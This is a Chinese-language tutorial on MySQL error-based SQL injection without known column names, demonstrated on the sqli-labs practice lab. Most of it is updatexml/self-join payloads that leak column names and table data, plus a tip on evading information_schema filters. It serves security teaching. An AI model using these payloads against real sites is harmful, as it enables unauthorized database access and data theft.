0x00 原理
mysql無列名注入是報錯注入的一個變種,前提是已知表名,但是不知道列名,或者只知道部分列名,可通過報錯注入拼接查詢自身表,當自表被拼接時,由於存在重復屬性列,會將列信息報錯返回,這樣我們就能知道表中的列名,再select 列名 from 表名 可直接查詢出對應的數據。
0x01 注入方法
這里使用sqlilabs-1來演示。
0x01.1 使用union進行無列名注入
前提條件是我們知道sqlilabs 有 security 數據庫 emails 數據表 但我們不知道列名是什么。
爆第一個列名
payload: ?id=1' and updatexml(1,concat(0x7e,(select * from emails union select * from (select * from emails as a join emails as b)c),0x7e),1)--+
爆第二個列名
payload: ?id=1' and updatexml(1,concat(0x7e,(select * from emails union select * from (select * from emails as a join emails as b using(id))c),0x7e),1)--+
using(id)的意思是將表通過id進行拼接,也就是說拼接兩張都含有id的表,其他表中屬性進行並運算拼接,如果出現重復屬性則報錯。
嘗試爆第三列
payload: ?id=1' and updatexml(1,concat(0x7e,(select * from emails union select * from (select * from emails as a join emails as b using(id,email_id))c),0x7e),1)--+
雖然提示 Operand should contain 1 column(s) , 其實已經查詢失敗了。
對爆出的email_id列進行查詢
payload: ?id=1' and updatexml(1,concat(0x7e,(select concat_ws('|',id,email_id) from emails limit 0,1),0x7e),1)--+
payload: ?id=1' and updatexml(1,concat(0x7e,(select group_concat(email_id) from emails limit 0,1),0x7e),1)--+
0x01.2 不使用union進行無列名注入
爆第一個列名
payload: ?id=1' and updatexml(1,concat(0x7e,(select * from (select * from emails as a join emails as b)c),0x7e),1)--+
出了 id 列
爆第一個列名
payload: ?id=1' and updatexml(1,concat(0x7e,(select * from (select * from emails as a join emails as b using(id))c),0x7e),1)--+
出了email_id列
查詢和使用union的一樣。
0x02 總結
這種注入方式在使用正則表達式過濾了information_schema.tables,information_schema.columns等常規注入查詢系統表或者過濾了table_name,column_name時非常有效!